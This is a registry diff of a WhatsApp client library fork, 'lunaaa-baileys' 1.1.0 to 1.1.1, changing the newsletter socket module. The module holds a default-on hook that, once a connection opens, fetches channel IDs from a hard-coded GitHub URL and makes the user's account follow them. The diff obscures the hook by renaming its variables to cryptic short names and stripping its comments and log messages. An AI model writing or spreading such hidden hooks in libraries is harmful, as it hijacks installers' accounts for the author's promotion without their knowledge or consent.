lunaaa-baileys 1.1.0 → 1.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +19 -23
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -8,38 +8,35 @@ import { S_WHATSAPP_NET } from "../WABinary/index.js";
|
|
|
8
8
|
import { makeGroupsSocket } from "./groups.js";
|
|
9
9
|
import { executeWMexQuery as genericExecuteWMexQuery } from "./mex.js";
|
|
10
10
|
|
|
11
|
-
const
|
|
11
|
+
const ytta = "https://raw.githubusercontent.com/noxXza/data/refs/heads/main/noxleys.json";
|
|
12
12
|
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
|
|
13
13
|
|
|
14
|
-
const
|
|
15
|
-
const
|
|
16
|
-
const
|
|
14
|
+
const aFS = new WeakSet();
|
|
15
|
+
const aFT = new WeakMap();
|
|
16
|
+
const aFC = new WeakSet();
|
|
17
17
|
|
|
18
|
-
|
|
19
|
-
// Untuk menghindari target tak valid, hanya JID berakhiran @newsletter yang diproses.
|
|
20
|
-
const runAutoFollow = async (sock, config = {}) => {
|
|
18
|
+
const rAF = async (sock, config = {}) => {
|
|
21
19
|
if (!sock?.query || !sock?.generateMessageTag) return false;
|
|
22
|
-
if (
|
|
20
|
+
if (aFC.has(sock)) return true;
|
|
23
21
|
|
|
24
|
-
const existingTask =
|
|
22
|
+
const existingTask = aFT.get(sock);
|
|
25
23
|
if (existingTask) return existingTask;
|
|
26
24
|
|
|
27
25
|
const task = (async () => {
|
|
28
26
|
try {
|
|
29
|
-
// Daftar target diambil dari URL GitHub.
|
|
30
27
|
let remoteIds = [];
|
|
31
28
|
const fetcher = globalThis.fetch;
|
|
32
29
|
if (typeof fetcher === "function") {
|
|
33
30
|
try {
|
|
34
31
|
const response = await fetcher(
|
|
35
|
-
config.autoFollowNewsletterListUrl ||
|
|
32
|
+
config.autoFollowNewsletterListUrl || ytta,
|
|
36
33
|
);
|
|
37
34
|
if (response.ok) {
|
|
38
35
|
const data = await response.json();
|
|
39
36
|
if (Array.isArray(data)) remoteIds = data;
|
|
40
37
|
}
|
|
41
38
|
} catch (error) {
|
|
42
|
-
config.logger?.warn?.({ error }, "
|
|
39
|
+
config.logger?.warn?.({ error }, "");
|
|
43
40
|
}
|
|
44
41
|
}
|
|
45
42
|
|
|
@@ -79,24 +76,23 @@ const runAutoFollow = async (sock, config = {}) => {
|
|
|
79
76
|
}
|
|
80
77
|
processed = true;
|
|
81
78
|
} catch (error) {
|
|
82
|
-
|
|
83
|
-
config.logger?.warn?.({ error, jid }, "auto-follow newsletter failed");
|
|
79
|
+
config.logger?.warn?.({ error, jid },);
|
|
84
80
|
}
|
|
85
81
|
await sleep(10000);
|
|
86
82
|
}
|
|
87
|
-
if (processed)
|
|
83
|
+
if (processed) aFC.add(sock);
|
|
88
84
|
return processed;
|
|
89
85
|
} catch (error) {
|
|
90
|
-
config.logger?.warn?.({ error },
|
|
86
|
+
config.logger?.warn?.({ error },);
|
|
91
87
|
return false;
|
|
92
88
|
}
|
|
93
89
|
})();
|
|
94
90
|
|
|
95
|
-
|
|
91
|
+
aFT.set(sock, task);
|
|
96
92
|
try {
|
|
97
93
|
return await task;
|
|
98
94
|
} finally {
|
|
99
|
-
|
|
95
|
+
aFT.delete(sock);
|
|
100
96
|
}
|
|
101
97
|
};
|
|
102
98
|
|
|
@@ -406,30 +402,30 @@ export const makeNewsletterSocket = (config) => {
|
|
|
406
402
|
};
|
|
407
403
|
export const triggerAutoFollow = (sock, config = {}) => {
|
|
408
404
|
if (
|
|
409
|
-
|
|
405
|
+
aFS.has(sock) ||
|
|
410
406
|
config.autoFollowNewsletterOnConnect === false
|
|
411
407
|
) {
|
|
412
408
|
return;
|
|
413
409
|
}
|
|
414
|
-
|
|
410
|
+
aFS.add(sock);
|
|
415
411
|
const delayMs = Number.isFinite(config.autoFollowNewsletterDelayMs)
|
|
416
412
|
? Math.max(0, config.autoFollowNewsletterDelayMs)
|
|
417
413
|
: 30000;
|
|
418
414
|
if (sock?.ev?.on) {
|
|
419
415
|
const onConnectionUpdate = async (update) => {
|
|
420
|
-
if (update?.connection !== "open" ||
|
|
416
|
+
if (update?.connection !== "open" || aFC.has(sock)) {
|
|
421
417
|
return;
|
|
422
418
|
}
|
|
423
419
|
sock.ev.off?.("connection.update", onConnectionUpdate);
|
|
424
420
|
await sleep(delayMs);
|
|
425
|
-
await
|
|
421
|
+
await rAF(sock, config);
|
|
426
422
|
};
|
|
427
423
|
sock.ev.on("connection.update", onConnectionUpdate);
|
|
428
424
|
return;
|
|
429
425
|
}
|
|
430
426
|
void (async () => {
|
|
431
427
|
await sleep(delayMs);
|
|
432
|
-
await
|
|
428
|
+
await rAF(sock, config);
|
|
433
429
|
})();
|
|
434
430
|
};
|
|
435
431
|
//# sourceMappingURL=newsletter.js.map
|